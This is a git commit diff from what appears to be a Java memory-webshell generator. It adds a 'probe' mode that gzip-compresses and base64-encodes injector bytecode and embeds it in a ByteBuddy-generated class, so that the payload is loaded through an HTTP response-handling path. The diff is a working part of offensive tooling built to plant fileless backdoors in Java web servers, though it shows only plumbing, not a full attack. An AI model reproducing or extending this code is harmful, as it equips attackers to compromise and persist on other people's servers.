feat: support probe mode

This commit is contained in:
ReaJason
2025-12-06 14:13:21 +08:00
parent 78f6098e6c
commit 2b79590596
78 changed files with 929 additions and 51 deletions
@@ -6,7 +6,13 @@ import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair;
@@ -59,6 +65,25 @@ public class MemShellGenerator {
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
ProbeConfig probeConfig = ProbeConfig.builder()
.shellClassName(injectorConfig.getInjectorClassName() + "1")
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode)
.targetJreVersion(shellConfig.getTargetJreVersion())
.byPassJavaModule(shellConfig.isByPassJavaModule())
.shrink(shellConfig.isShrink())
.debug(shellConfig.isDebug())
.staticInitialize(injectorConfig.isStaticInitialize())
.build();
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
.server(serverName)
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
.build();
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
}
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
return MemShellResult.builder()
@@ -55,6 +55,12 @@ public class ShellConfig {
@Builder.Default
private boolean debug = false;
/**
* 是否使用回显模式
*/
@Builder.Default
private boolean probe = false;
/**
* 是否启用缩小字节码
*/
@@ -71,7 +77,6 @@ public class ShellConfig {
return !debug;
}
public boolean isJakarta() {
return shellType.startsWith(ShellType.JAKARTA);
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.server;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
@@ -49,6 +50,9 @@ public abstract class AbstractServer {
}
public Pair<Class<?>, Class<?>> getShellInjectorPair(String shellTool, String shellType) {
if (StringUtils.isBlank(shellTool)) {
throw new IllegalArgumentException("shellTool is required");
}
ToolMapping mapping = map.get(shellTool);
if (mapping == null) {
throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool);
@@ -13,5 +13,14 @@ import lombok.experimental.SuperBuilder;
@ToString
public class ResponseBodyConfig extends ProbeContentConfig {
private String server;
/**
* 获取参数的请求头或请求参数名称
*/
private String reqParamName;
/**
* 内置执行类加载的字节码
*/
private String base64Bytes;
}
@@ -36,14 +36,19 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
Class<?> writerClass = getWriterClass();
Class<?> runnerClass = getRunnerClass();
return buddy.redefine(writerClass)
DynamicType.Builder<?> builder = buddy.redefine(writerClass)
.name(probeConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.visit(Advice.withCustomMapping().bind(NameAnnotation.class, name)
.to(getDataFromReqInterceptor).on(named("getDataFromReq")))
.visit(Advice.to(runnerClass).on(named("run")));
if (StringUtils.isNotBlank(probeContentConfig.getReqParamName())) {
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.visit(Advice.withCustomMapping().bind(NameAnnotation.class, name)
.to(getDataFromReqInterceptor).on(named("getDataFromReq")));
} else if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent())) {
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(probeContentConfig.getBase64Bytes()));
}
return builder;
}
private Class<?> getRunnerClass() {
@@ -1,8 +1,9 @@
package com.reajason.javaweb.utils;
import lombok.SneakyThrows;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.security.SecureRandom;
import java.util.Arrays;
import java.util.HashSet;
@@ -45,7 +46,8 @@ public class CommonUtil {
"Checker"
};
public static byte[] gzipCompress(byte[] data) throws IOException {
@SneakyThrows
public static byte[] gzipCompress(byte[] data) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
@@ -53,7 +55,8 @@ public class CommonUtil {
return out.toByteArray();
}
public static byte[] gzipDecompress(byte[] data) throws IOException {
@SneakyThrows
public static byte[] gzipDecompress(byte[] data) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPInputStream gzip = new GZIPInputStream(new ByteArrayInputStream(data))) {
byte[] buffer = new byte[1024];